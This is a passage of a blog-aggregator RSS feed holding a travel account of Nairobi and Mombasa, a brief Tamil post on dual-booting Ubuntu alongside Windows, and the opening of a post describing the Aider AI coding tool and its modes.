            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[Asante Kenya for a Good Time]]></title>
            <link>https://ravidwivedi.in/posts/kenya-trip/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kenya-trip/</guid>
            <pubDate>Mon, 04 Nov 2024 19:25:21 GMT</pubDate>
            <description><![CDATA[In September of this year, I visited Kenya to attend the State of the Map conference. I spent six nights in the capital Nairobi, two nights in Mombasa, and one night on a train. I was very happy with the visa process being smooth and quick. During the conference, I stayed at the Nairobi Transit Hotel with other attendees, with Ibtehal from Bangladesh as my roommate. I found it interesting that the shops around the hotel were grated, presumably to protect against robberies. The hotel guard had to open the lock of the hotel for us to go out at night. Further, I noticed that the banks had three layers of security. Despite this, Ibtehal and I used to hangout at a coffee shop during midnight.

      
The coffee shop Ibtehal and me used to visit during the midnight

      
Grating at a chemist shop in Mombasa, Kenya
The country lies on the equator, which might give the impression of extremely hot temperatures. However, Nairobi was on the cooler side (10–25 degrees Celsius), and I found myself needing a hoodie, which I bought the next day. It also served as a nice souvenir, as it had an outline of the African map printed on it.
I also bought a Safaricom SIM card for 100 shillings and recharged it with 1000 shillings for 8 GB internet with 5G speeds and 400 minutes talk time.
A visit to Nairobi’s Historic Cricket Ground
On this trip, I got a unique souvenir that can’t be purchased from the market—a cricket jersey worn in an ODI match by a player. The story goes as follows: I was roaming around the market with my friend Benson from Nairobi to buy a Kenyan cricket jersey for myself, but we couldn’t find any. So, Benson had the idea of visiting the Nairobi Gymkhana Club, which used to be Kenya’s main cricket ground. It has hosted some historic matches, including the 2003 World Cup match in which Kenya beat the mighty Sri Lankans and the record for the fastest ODI century by Shahid Afridi in just 37 balls in 1996.
Although entry to the club was exclusively for members, I was warmly welcomed by the staff. Upon reaching the cricket ground, I met some Indian players who played in Kenyan leagues, as well as Lucas Oluoch and Dominic Wesonga, who have represented Kenya in ODIs. When I expressed interest in getting a jersey, Dominic agreed to send me pictures of his jersey. I liked his jersey and collected it from him. I gave him 2000 shillings, an amount suggested by those Indian players.

      
Me with players at the Nairobi Gymkhana Club

      
Cricket pitch at the Nairobi Gymkhana Club

      
A view of the cricket ground inside the Nairobi Gymkhana Club

      
Scoreboard at the Nairobi Gymkhana cricket ground
Giraffe Center in Nairobi
Kenya is known for its safaris and has no shortage of national parks. In fact, Nairobi is the only capital in the world with a national park. I decided not to visit one, as most of them were expensive and offered multi-day tours, and I didn’t want to spend that much time in the wildlife.
Instead, I went to the Giraffe Center in Nairobi with Pragya and Rabina. The ticket cost 1500 Kenyan shillings (1000 Indian rupees). In Kenya, matatus - shared vans, usually decorated with portraits of famous people and play rap songs - are the most popular means of public transport.  Reaching the Giraffe Center from our hotel required taking five matatus for 150 shillings and a 2 kilometer walk. The journey back was 90 shillings, suggesting that we didn’t find the most efficient route to get there. At the Giraffe Center, we fed giraffes and took photos.

      
A matatu with a Notorious BIG portrait.

      
Inside the Giraffe Center
Train ride from Nairobi to Mombasa
I wanted to visit a place outside of Nairobi. Mombasa being a coastal city and the second-largest in Kenya was a natural choice. It is 500 kilometers from the capital Nairobi. I love trains in general, so I decided to take the SGR train from Nairobi to Mombasa. I tried reserving a seat for myself from home, but found out that the train could only be booked using M-PESA. It is a mobile bank transfer system in Kenya, and I didn’t have an M-PESA account. Therefore, I could not book my ticket in advance. When I was in Kenya, I was helped by Pragya’s friend Mary for booking my ticket. It was a second-class ticket for 1500 shillings (1000 Indian rupees).
If you are a tourist, note that local shops in Kenya can facilitate such an M-PESA transfer in exchange for cash. Your hotel may also be providing such a service, so make sure to check with them.
The train was scheduled to depart from Nairobi at 08:00 hours in the morning and arrive in Mombasa at 14:00 hours. The security check at the station required scanning bags and having them sniffed by sniffer dogs. I also fell victim to a scam by a security official who offered to help me get my ticket printed, only to later ask me to get him some coffee, which I politely declined.
Before boarding the train, I was treated to some stunning views at the Nairobi Terminus station. It was a seating train, but I wished it were a sleeper train, as I was sleep-deprived. The train was neat and clean, with good toilets. It reached Mombasa on time.

      
SGR train at Nairobi Terminus.

      
Interior of the SGR train
Arrival in Mombasa

      
Mombasa Terminus station.
Mombasa was a bit hotter than Nairobi, with temperatures reaching around 30 degrees Celsius. However, that’s not too hot for me, as I am used to higher temperatures in India. I had booked a hostel in the Old Town and was searching for a hitchhike from the Mombasa Terminus station. After trying for more than half an hour, I took a matatu that dropped me 3 km from my hostel for 200 shillings (140 Indian rupees). I tried to hitchhike again but couldn’t find a ride.
I think I know why I couldn’t get a ride in both the cases. In the first case, the Mombasa Terminus was in an isolated place, so most of the vehicles were taxis or matatus while any noncommercial cars were there to pick up friends and family. If the station were in the middle of the city, there would be many more car/truck drivers passing by, thus increasing my possibilities of getting a ride. In the second case, my hostel was at the end of the city, and nobody was going towards that side. In fact, many drivers told me they would love to give me a ride, but they were going in some other direction.
Finally, I took a tuktuk for 70 shillings to reach my hostel, Tulia Backpackers. It was 11 USD (1400 shillings) for one night. The balcony gave a nice view of the Indian Ocean. The rooms had fans, but there was no air conditioning. Each bed also had mosquito nets. The place was walking distance of the famous Fort Jesus. Mombasa has had more Islamic influence compared to Nairobi and also has many Hindu temples.

      
The balcony at Tulia Backpackers Hostel had a nice view of the ocean.

      
A room inside the hostel with fans and mosquito nets on the beds
Visiting White Sandy Beaches and Hitchhiking
Visiting Nyali beach marked my first time ever at a white sand beach. It was like 10 km from the hostel. The next day, I visited Diani Beach, which was 30 km from the hostel. Going to Diani Beach required crossing a river, for which there’s a free ferry service every few minutes, followed by taking a matatu to Ukunda and then a tuk-tuk. The journey gave me a glimpse of the beautiful countryside of Kenya.

      
Nyali beach is a white sand beach

      
This is the ferry service for crossing the river.
During my return from Diani Beach to the hostel, I was successful in hitchhiking. However, it was only a 4 km ride and not sufficient to reach Ukunda, so I tried to get another ride. When a truck stopped for me, I asked for a ride to Ukunda. Later, I learned that they were going in the same direction as me, so I got off within walking distance from my hostel. The ride was around 30 km. I also learned the difference between a truck ride and a matatu or car ride. For instance, matatus and cars are much faster and cooler due to air conditioning, while trucks tend to be warmer because they lack it. Further, the truck was stopped at many checkpoints by the police for inspections as it carried goods, which is not the case with matatus. Anyways, it was a nice experience, and I am grateful for the ride. I had a nice conversation with the truck drivers about Indian movies and my experiences in Kenya.

      
Diani beach is a popular beach in Kenya. It is a white sand beach.

      
Selfie with truck drivers who gave me the free ride
Back to Nairobi
I took the SGR train from Mombasa back to Nairobi. This time I took the night train, which departs at 22:00 hours, reaching Nairobi at around 04:00 in the morning. I could not sleep comfortably since the train only had seater seats.
I had booked the Zarita Hotel in Nairobi and  had already confirmed if they allowed early morning check-in. Usually, hotels have a fixed checkout time, say 11:00 in the morning, and you are not allowed to stay beyond that regardless of the time you checked in. But this hotel checked me in for 24 hours. Here, I paid in US dollars, and the cost was 12 USD.
Almost Got Stuck in Kenya
Two days before my scheduled flight from Nairobi back to India, I heard the news that the airports in Kenya were closed due to the strikes. Rabina and Pragya had their flight back to Nepal canceled that day, which left them stuck in Nairobi for two additional days. I called Sahil in India and found out during the conversation that the strike was called off in the evening. It was a big relief for me, and I was fortunate to be able to fly back to India without any changes to my plans.

      
Newspapers at a stand in Kenya covering news on the airport closure
Experience with locals
I had no problems communicating with Kenyans, as everyone I met knew English to an extent that could easily surpass that of big cities in India. Additionally, I learned a few words from Kenya’s most popular local language, Swahili, such as “Asante,” meaning “thank you,” “Jambo” for “hello,” and “Karibu” for “welcome.” Knowing a few words in the local language went a long way.
I am not sure what’s up with haggling in Kenya. It wasn’t easy to bring the price of souvenirs down. I bought a fridge magnet for 200 shillings, which was the quoted price. On the other hand, it was much easier to bargain with taxis/tuktuks/motorbikes.
I stayed at three hotels/hostels in Kenya. None of them had air conditioners. Two of the places were in Nairobi, and they didn’t even have fans in the rooms, while the one in Mombasa had only fans. All of them had good Wi-Fi, except Tulia where the internet overall was a bit shaky.
My experience with the hotel staff was great. For instance, we requested that the Nairobi Transit Hotel cancel the included breakfast in order to reduce the room costs, but later realized that it was not a good idea. The hotel allowed us to revert and even offered one of our missing breakfasts during dinner.
The staff at Tulia Backpackers in Mombasa facilitated the ticket payment for my train from Mombasa to Nairobi. One of the staff members also gave me a lift to the place where I could catch a matatu to Nyali Beach. They even added an extra tea bag to my tea when I requested it to be stronger.
Food
At the Nairobi Transit Hotel, a Spanish omelet with tea was served for breakfast. I noticed that Spanish omelette appeared on the menus of many restaurants, suggesting that it is popular in Kenya. This was my first time having this dish. The milk tea in Kenya, referred to by locals as “white tea,” is lighter than Indian tea (they don’t put a lot of tea leaves).

      
Spanish Omelette served in breakfast at Nairobi Transit Hotel
I also sampled ugali with eggs. In Mombasa, I visited an Indian restaurant called New Chetna and had a buffet thali there twice.

      
Ugali with eggs.
Tips for Exchanging Money
In Kenya, I exchanged my money at forex shops a couple of times. I received good exchange rates for bills larger than 50 USD. For instance, 1 USD on xe.com was 129 shillings, and I got 128.3 shillings per USD (a total of 12,830 shillings) for two 50 USD notes at an exchange in Nairobi, while 127 shillings, which was the highest rate at the banks. On the other hand, for smaller bills such as a one US dollar note, I would have got 125 shillings. A passport was the only document required for the exchange, and they also provided a receipt.
My advice for travelers would be to keep 50 USD or larger bills for exchanging into the local currency while saving the smaller US dollar bills for accommodation, as many hotels and hostels accept payment in US dollars (in addition to Kenyan shillings).
Missed Malindi and Lamu
There were more places on my to-visit list in Kenya. But I simply didn’t have time to cover them, as I don’t like rushing through places, especially in a foreign country where there is a chance of me underestimating the amount of time it takes during transit. I would have liked to visit at least one of Kilifi, Watamu or Malindi beaches. Further, Lamu seemed like a unique place to visit as it has no cars or motorized transport; the only options for transport are boats and donkeys. But I missed Lamu as well.
That’s it for now. Meet you in the next one :)]]></description>
            <content:encoded><![CDATA[<p>In September of this year, I visited Kenya to attend the <a href="https://ravidwivedi.in/posts/sotm-2024/">State of the Map conference</a>. I spent six nights in the capital Nairobi, two nights in Mombasa, and one night on a train. I was very happy with the visa process being <a href="https://ravidwivedi.in/posts/kenya-visa-process/">smooth and quick</a>. During the conference, I stayed at the Nairobi Transit Hotel with other attendees, with Ibtehal from Bangladesh as my roommate. I found it interesting that the shops around the hotel were grated, presumably to protect against robberies. The hotel guard had to open the lock of the hotel for us to go out at night. Further, I noticed that the banks had three layers of security. Despite this, Ibtehal and I used to hangout at a coffee shop during midnight.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/coffee-shop.avif" width="500"><figcaption>
      <h4>The coffee shop Ibtehal and me used to visit during the midnight</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/grating-at-a-chemist-shop.avif" width="500"><figcaption>
      <h4>Grating at a chemist shop in Mombasa, Kenya</h4>
    </figcaption>
</figure>

<p>The country lies on the equator, which might give the impression of extremely hot temperatures. However, Nairobi was on the cooler side (10–25 degrees Celsius), and I found myself needing a hoodie, which I bought the next day. It also served as a nice souvenir, as it had an outline of the African map printed on it.</p>
<p>I also bought a Safaricom SIM card for 100 shillings and recharged it with 1000 shillings for 8 GB internet with 5G speeds and 400 minutes talk time.</p>
<h2 id="a-visit-to-nairobis-historic-cricket-ground">A visit to Nairobi&rsquo;s Historic Cricket Ground</h2>
<p>On this trip, I got a unique souvenir that can’t be purchased from the market—a cricket jersey worn in an ODI match by a player. The story goes as follows: I was roaming around the market with my friend Benson from Nairobi to buy a Kenyan cricket jersey for myself, but we couldn’t find any. So, Benson had the idea of visiting the Nairobi Gymkhana Club, which used to be Kenya’s main cricket ground. It has hosted some historic matches, including the 2003 World Cup match in which Kenya <a href="https://www.espncricinfo.com/series/icc-world-cup-2002-03-61124/kenya-vs-sri-lanka-26th-match-65258/full-scorecard">beat</a> the mighty Sri Lankans and the record for the <a href="https://www.espncricinfo.com/series/kca-centenary-tournament-1996-97-60990/pakistan-vs-sri-lanka-6th-match-66057/full-scorecard">fastest</a> ODI century by Shahid Afridi in just 37 balls in 1996.</p>
<p>Although entry to the club was exclusively for members, I was warmly welcomed by the staff. Upon reaching the cricket ground, I met some Indian players who played in Kenyan leagues, as well as <a href="https://www.espncricinfo.com/cricketers/lucas-oluoch-440162">Lucas Oluoch</a> and <a href="https://www.espncricinfo.com/cricketers/dominic-wesonga-315051">Dominic Wesonga</a>, who have represented Kenya in ODIs. When I expressed interest in getting a jersey, Dominic agreed to send me pictures of his jersey. I liked his jersey and collected it from him. I gave him 2000 shillings, an amount suggested by those Indian players.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/players-at-ground.avif" width="500"><figcaption>
      <h4>Me with players at the Nairobi Gymkhana Club</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/cricket-pitch.avif" width="500"><figcaption>
      <h4>Cricket pitch at the Nairobi Gymkhana Club</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/cricket-ground.avif" width="500"><figcaption>
      <h4>A view of the cricket ground inside the Nairobi Gymkhana Club</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/scoreboard-at-narobi-gymkhana-club.avif" width="500"><figcaption>
      <h4>Scoreboard at the Nairobi Gymkhana cricket ground</h4>
    </figcaption>
</figure>

<h2 id="giraffe-center-in-nairobi">Giraffe Center in Nairobi</h2>
<p>Kenya is known for its safaris and has <a href="https://en.wikipedia.org/wiki/List_of_national_parks_of_Kenya">no shortage of national parks</a>. In fact, Nairobi is the only capital in the world with a national park. I decided not to visit one, as most of them were expensive and offered multi-day tours, and I didn’t want to spend that much time in the wildlife.</p>
<p>Instead, I went to the Giraffe Center in Nairobi with Pragya and Rabina. The ticket cost 1500 Kenyan shillings (1000 Indian rupees). In Kenya, matatus - shared vans, usually decorated with portraits of famous people and play rap songs - are the most popular means of public transport.  Reaching the Giraffe Center from our hotel required taking five matatus for 150 shillings and a 2 kilometer walk. The journey back was 90 shillings, suggesting that we didn’t find the most efficient route to get there. At the Giraffe Center, we fed giraffes and took photos.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/notorious-big.avif" width="500"><figcaption>
      <h4>A matatu with a Notorious BIG portrait.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/inside-the-giraffe-center.avif" width="500"><figcaption>
      <h4>Inside the Giraffe Center</h4>
    </figcaption>
</figure>

<h2 id="train-ride-from-nairobi-to-mombasa">Train ride from Nairobi to Mombasa</h2>
<p>I wanted to visit a place outside of Nairobi. Mombasa being a coastal city and the second-largest in Kenya was a natural choice. It is 500 kilometers from the capital Nairobi. I love trains in general, so I decided to take the SGR train from Nairobi to Mombasa. I tried reserving a seat for myself from home, but found out that the train could only be booked using M-PESA. It is a mobile bank transfer system in Kenya, and I didn’t have an M-PESA account. Therefore, I could not book my ticket in advance. When I was in Kenya, I was helped by Pragya’s friend Mary for booking my ticket. It was a second-class ticket for 1500 shillings (1000 Indian rupees).</p>
<p>If you are a tourist, note that local shops in Kenya can facilitate such an M-PESA transfer in exchange for cash. Your hotel may also be providing such a service, so make sure to check with them.</p>
<p>The train was scheduled to depart from Nairobi at 08:00 hours in the morning and arrive in Mombasa at 14:00 hours. The security check at the station required scanning bags and having them sniffed by sniffer dogs. I also fell victim to a scam by a security official who offered to help me get my ticket printed, only to later ask me to get him some coffee, which I politely declined.</p>
<p>Before boarding the train, I was treated to some stunning views at the Nairobi Terminus station. It was a seating train, but I wished it were a sleeper train, as I was sleep-deprived. The train was neat and clean, with good toilets. It reached Mombasa on time.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/nairobi-terminus.avif" width="500"><figcaption>
      <h4>SGR train at Nairobi Terminus.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/sgr-interior.avif" width="500"><figcaption>
      <h4>Interior of the SGR train</h4>
    </figcaption>
</figure>

<h2 id="arrival-in-mombasa">Arrival in Mombasa</h2>
<figure><img src="https://ravidwivedi.in/images/kenya/mombasa-terminus.avif" width="500"><figcaption>
      <h4>Mombasa Terminus station.</h4>
    </figcaption>
</figure>

<p>Mombasa was a bit hotter than Nairobi, with temperatures reaching around 30 degrees Celsius. However, that’s not too hot for me, as I am used to higher temperatures in India. I had booked a hostel in the Old Town and was searching for a hitchhike from the Mombasa Terminus station. After trying for more than half an hour, I took a matatu that dropped me 3 km from my hostel for 200 shillings (140 Indian rupees). I tried to hitchhike again but couldn’t find a ride.</p>
<p>I think I know why I couldn&rsquo;t get a ride in both the cases. In the first case, the Mombasa Terminus was in an isolated place, so most of the vehicles were taxis or matatus while any noncommercial cars were there to pick up friends and family. If the station were in the middle of the city, there would be many more car/truck drivers passing by, thus increasing my possibilities of getting a ride. In the second case, my hostel was at the end of the city, and nobody was going towards that side. In fact, many drivers told me they would love to give me a ride, but they were going in some other direction.</p>
<p>Finally, I took a tuktuk for 70 shillings to reach my hostel, Tulia Backpackers. It was 11 USD (1400 shillings) for one night. The balcony gave a nice view of the Indian Ocean. The rooms had fans, but there was no air conditioning. Each bed also had mosquito nets. The place was walking distance of the famous <a href="https://en.wikipedia.org/wiki/Fort_Jesus">Fort Jesus</a>. Mombasa has had more Islamic influence compared to Nairobi and also has many Hindu temples.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/balcony-at-tulia.avif" width="500"><figcaption>
      <h4>The balcony at Tulia Backpackers Hostel had a nice view of the ocean.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/room-in-tulia.avif" width="500"><figcaption>
      <h4>A room inside the hostel with fans and mosquito nets on the beds</h4>
    </figcaption>
</figure>

<h2 id="visiting-white-sandy-beaches-and-hitchhiking">Visiting White Sandy Beaches and Hitchhiking</h2>
<p>Visiting Nyali beach marked my first time ever at a white sand beach. It was like 10 km from the hostel. The next day, I visited Diani Beach, which was 30 km from the hostel. Going to Diani Beach required crossing a river, for which there&rsquo;s a free ferry service every few minutes, followed by taking a matatu to Ukunda and then a tuk-tuk. The journey gave me a glimpse of the beautiful countryside of Kenya.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/nyali-beach.avif" width="500"><figcaption>
      <h4>Nyali beach is a white sand beach</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/ferry.avif" width="500"><figcaption>
      <h4>This is the ferry service for crossing the river.</h4>
    </figcaption>
</figure>

<p>During my return from Diani Beach to the hostel, I was successful in hitchhiking. However, it was only a 4 km ride and not sufficient to reach Ukunda, so I tried to get another ride. When a truck stopped for me, I asked for a ride to Ukunda. Later, I learned that they were going in the same direction as me, so I got off within walking distance from my hostel. The ride was around 30 km. I also learned the difference between a truck ride and a matatu or car ride. For instance, matatus and cars are much faster and cooler due to air conditioning, while trucks tend to be warmer because they lack it. Further, the truck was stopped at many checkpoints by the police for inspections as it carried goods, which is not the case with matatus. Anyways, it was a nice experience, and I am grateful for the ride. I had a nice conversation with the truck drivers about Indian movies and my experiences in Kenya.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/diani-beach.avif" width="500"><figcaption>
      <h4>Diani beach is a popular beach in Kenya. It is a white sand beach.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kenya/selfie-with-truck-drivers.avif" width="500"><figcaption>
      <h4>Selfie with truck drivers who gave me the free ride</h4>
    </figcaption>
</figure>

<h2 id="back-to-nairobi">Back to Nairobi</h2>
<p>I took the SGR train from Mombasa back to Nairobi. This time I took the night train, which departs at 22:00 hours, reaching Nairobi at around 04:00 in the morning. I could not sleep comfortably since the train only had seater seats.</p>
<p>I had booked the Zarita Hotel in Nairobi and  had already confirmed if they allowed early morning check-in. Usually, hotels have a fixed checkout time, say 11:00 in the morning, and you are not allowed to stay beyond that regardless of the time you checked in. But this hotel checked me in for 24 hours. Here, I paid in US dollars, and the cost was 12 USD.</p>
<h2 id="almost-got-stuck-in-kenya">Almost Got Stuck in Kenya</h2>
<p>Two days before my scheduled flight from Nairobi back to India, I heard the news that the airports in Kenya were <a href="https://www.bbc.co.uk/news/articles/c3rdg13z1j7o">closed</a> due to the strikes. Rabina and Pragya had their flight back to Nepal canceled that day, which left them stuck in Nairobi for two additional days. I called Sahil in India and found out during the conversation that the strike was <a href="https://www.reuters.com/world/africa/strike-kenyas-main-airport-causing-flight-delays-cancellations-kenya-airways-2024-09-11/">called off</a> in the evening. It was a big relief for me, and I was fortunate to be able to fly back to India without any changes to my plans.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/newspapers.avif" width="500"><figcaption>
      <h4>Newspapers at a stand in Kenya covering news on the airport closure</h4>
    </figcaption>
</figure>

<h2 id="experience-with-locals">Experience with locals</h2>
<p>I had no problems communicating with Kenyans, as everyone I met knew English to an extent that could easily surpass that of big cities in India. Additionally, I learned a few words from Kenya’s most popular local language, Swahili, such as “Asante,” meaning “thank you,” “Jambo” for “hello,” and “Karibu” for “welcome.” Knowing a few words in the local language went a long way.</p>
<p>I am not sure what&rsquo;s up with haggling in Kenya. It wasn&rsquo;t easy to bring the price of souvenirs down. I bought a fridge magnet for 200 shillings, which was the quoted price. On the other hand, it was much easier to bargain with taxis/tuktuks/motorbikes.</p>
<p>I stayed at three hotels/hostels in Kenya. None of them had air conditioners. Two of the places were in Nairobi, and they didn’t even have fans in the rooms, while the one in Mombasa had only fans. All of them had good Wi-Fi, except Tulia where the internet overall was a bit shaky.</p>
<p>My experience with the hotel staff was great. For instance, we requested that the Nairobi Transit Hotel cancel the included breakfast in order to reduce the room costs, but later realized that it was not a good idea. The hotel allowed us to revert and even offered one of our missing breakfasts during dinner.</p>
<p>The staff at Tulia Backpackers in Mombasa facilitated the ticket payment for my train from Mombasa to Nairobi. One of the staff members also gave me a lift to the place where I could catch a matatu to Nyali Beach. They even added an extra tea bag to my tea when I requested it to be stronger.</p>
<h2 id="food">Food</h2>
<p>At the Nairobi Transit Hotel, a Spanish omelet with tea was served for breakfast. I noticed that Spanish omelette appeared on the menus of many restaurants, suggesting that it is popular in Kenya. This was my first time having this dish. The milk tea in Kenya, referred to by locals as “white tea,” is lighter than Indian tea (they don&rsquo;t put a lot of tea leaves).</p>
<figure><img src="https://ravidwivedi.in/images/kenya/spanish-omlette.avif" width="500"><figcaption>
      <h4>Spanish Omelette served in breakfast at Nairobi Transit Hotel</h4>
    </figcaption>
</figure>

<p>I also sampled ugali with eggs. In Mombasa, I visited an Indian restaurant called New Chetna and had a buffet thali there twice.</p>
<figure><img src="https://ravidwivedi.in/images/kenya/ugali-with-eggs.avif" width="500"><figcaption>
      <h4>Ugali with eggs.</h4>
    </figcaption>
</figure>

<h2 id="tips-for-exchanging-money">Tips for Exchanging Money</h2>
<p>In Kenya, I exchanged my money at forex shops a couple of times. I received good exchange rates for bills larger than 50 USD. For instance, 1 USD on xe.com was 129 shillings, and I got 128.3 shillings per USD (a total of 12,830 shillings) for two 50 USD notes at an exchange in Nairobi, while 127 shillings, which was the highest rate at the banks. On the other hand, for smaller bills such as a one US dollar note, I would have got 125 shillings. A passport was the only document required for the exchange, and they also provided a receipt.</p>
<p>My advice for travelers would be to keep 50 USD or larger bills for exchanging into the local currency while saving the smaller US dollar bills for accommodation, as many hotels and hostels accept payment in US dollars (in addition to Kenyan shillings).</p>
<h2 id="missed-malindi-and-lamu">Missed Malindi and Lamu</h2>
<p>There were more places on my to-visit list in Kenya. But I simply didn&rsquo;t have time to cover them, as I don&rsquo;t like rushing through places, especially in a foreign country where there is a chance of me underestimating the amount of time it takes during transit. I would have liked to visit at least one of <a href="https://en.wikivoyage.org/wiki/Kilifi">Kilifi</a>, <a href="https://en.wikivoyage.org/wiki/Malindi#Watamu_beaches">Watamu</a> or <a href="https://en.wikivoyage.org/wiki/Malindi">Malindi</a> beaches. Further, <a href="https://en.wikivoyage.org/wiki/Lamu">Lamu</a> seemed like a unique place to visit as it has no cars or motorized transport; the only options for transport are boats and donkeys. But I missed Lamu as well.</p>
<p>That&rsquo;s it for now. Meet you in the next one :)</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Ubuntu : SSDல் உபுண்டு 20.04 LTS டூயல் பூட் முறையில் விண்டோசுடன் நிறுவுதல்]]></title>
            <link>https://programmerlife1.wordpress.com/2024/10/31/ubuntu-ssd%e0%ae%b2%e0%af%8d-%e0%ae%89%e0%ae%aa%e0%af%81%e0%ae%a3%e0%af%8d%e0%ae%9f%e0%af%81-20-04-lts-%e0%ae%9f%e0%af%82%e0%ae%af%e0%ae%b2%e0%af%8d-%e0%ae%aa%e0%af%82%e0%ae%9f%e0%af%8d-%e0%ae%ae/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2024/10/31/ubuntu-ssd%e0%ae%b2%e0%af%8d-%e0%ae%89%e0%ae%aa%e0%af%81%e0%ae%a3%e0%af%8d%e0%ae%9f%e0%af%81-20-04-lts-%e0%ae%9f%e0%af%82%e0%ae%af%e0%ae%b2%e0%af%8d-%e0%ae%aa%e0%af%82%e0%ae%9f%e0%af%8d-%e0%ae%ae/</guid>
            <pubDate>Thu, 31 Oct 2024 14:18:45 GMT</pubDate>
            <description><![CDATA[அக் 31, 2024 அண்மையில் நான் டூயல் பூட் முறையில் விண்டோசுடன் நிறுவிய அனுபவத்தினை இந்த பதிவில் காணலாம். நான் SSDல் விண்டோஸ் இயங்குதளம் பயன்படுத்திவருகிறேன். என்னுடைய இன்னொரு HDDல் உபுன்டு இயங்குதளம் வைத்திருக்கிறேன். அந்த வன்வட்டு பழுதடையும் தருவாயில் இருப்பதால் SSDல் உபுண்டு இயங்குதளம் நிறுவ தயாரானேன். எப்பொழுதும் புதிய இயங்குதளம் நிறுவ தாயராகும் போது காப்பு பிரதி(Backup) எடுத்துவைத்து தயாராகவும். குறிப்பு : நான் இயங்குதளம் 3 முறை நிறுவியுள்ள அனுபவத்தில் காப்பு பிரதி […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">அக் 31, 2024</p>



<p class="wp-block-paragraph">அண்மையில் நான் டூயல் பூட் முறையில் விண்டோசுடன் நிறுவிய அனுபவத்தினை இந்த பதிவில் காணலாம். </p>



<p class="wp-block-paragraph">நான் SSDல் விண்டோஸ் இயங்குதளம் பயன்படுத்திவருகிறேன். என்னுடைய இன்னொரு HDDல் உபுன்டு இயங்குதளம் வைத்திருக்கிறேன்.  அந்த வன்வட்டு பழுதடையும் தருவாயில் இருப்பதால் SSDல் உபுண்டு இயங்குதளம் நிறுவ தயாரானேன். </p>



<p class="wp-block-paragraph">எப்பொழுதும் புதிய இயங்குதளம் நிறுவ தாயராகும் போது காப்பு பிரதி(Backup) எடுத்துவைத்து தயாராகவும்.</p>



<p class="wp-block-paragraph"><strong>குறிப்பு : </strong>நான் இயங்குதளம் 3 முறை நிறுவியுள்ள அனுபவத்தில் காப்பு பிரதி எடுக்காமல் தொடங்கினேன். ஆனால் இவ்வாறு செய்வது பரிந்துரைக்கபடவில்லை.</p>



<p class="wp-block-paragraph">நான் லைவ் USB ventoy எனும் மென்பொருளின் உதவியுடன் தயார் செய்தேன்.</p>



<p class="wp-block-paragraph"><strong>References :</strong> </p>



<p class="wp-block-paragraph">Setting UP ubuntu&#8217;s GRUB as primary bootloader using efibootmgr <a href="https://superuser.com/questions/1247300/how-to-make-uefi-bios-start-grub-not-windows">https://superuser.com/questions/1247300/how-to-make-uefi-bios-start-grub-not-windows</a></p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Linux</category>
            <category>ubuntu</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[How I use LLMs]]></title>
            <link>https://mrkaran.dev/posts/using-llm/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/using-llm/</guid>
            <pubDate>Wed, 30 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Just yesterday, GitHub announced integrating Claude 3.5 Sonnet with Copilot. Interesting times ahead. In my experience, Claude has been remarkably better than the GPT-4 family of models for programming tasks. I’ve tried a bunch of tools like Cursor, Continue.dev but finally settled with Aider for most of my tasks. In this post, I want to write about my workflow of using Aider when working on small coding tasks.
Aider is an open source Python CLI which supports multiple models, including Claude 3.5 Sonnet. Aider describes itself as “AI pair programming in your terminal”. The tool integrates git quite well in its workflow so it can edit files, create new files, and track all changes via git. In case you want to revert, simply reverting the commit or using the /undo shortcut would do the same.
The tool has multiple modes that serve different purposes:
/ask: Use it when you simply want to chat with the model about the codebase or explain some pieces of it. This mode won’t touch your files. It’s great for understanding existing code or getting explanations.
/architect: Use it to discuss a broad overall idea. The model will propose some changes to your files. You can further chat and tune it to your preferences.
/code: This will directly edit your files and commit them.
My typical workflow involves running Aider in a terminal while keeping VSCode open for manual code review. I often use the --no-auto-commits flag to view the diffs before committing. Despite advances in LLM technology, I believe they haven’t yet reached the stage where they can fully understand your team’s coding style guides, and I prefer not to have a certain style forced upon me. Manually tweaking portions of AI-generated functions still proves helpful and saves considerable time.
To begin, aider --sonnet would open the interactive window where you can begin writing prompts.

To add context, you need to add files using commands like /add main.py. What makes Aider powerful is its control over the LLM context - you can /add or /drop source code, or even /reset to drop all files and start with a fresh context. This granular control helps manage the context window effectively.
A really cool thing about it is that it gives an approximate idea of the number of tokens (cost) associated with each prompt. I find it useful to remove unnecessary files from the context window, which not only helps in getting sharper, more accurate responses but also helps with the costs. There’s a nice /tokens command which will show the cost of sending each file added in context with the prompt.

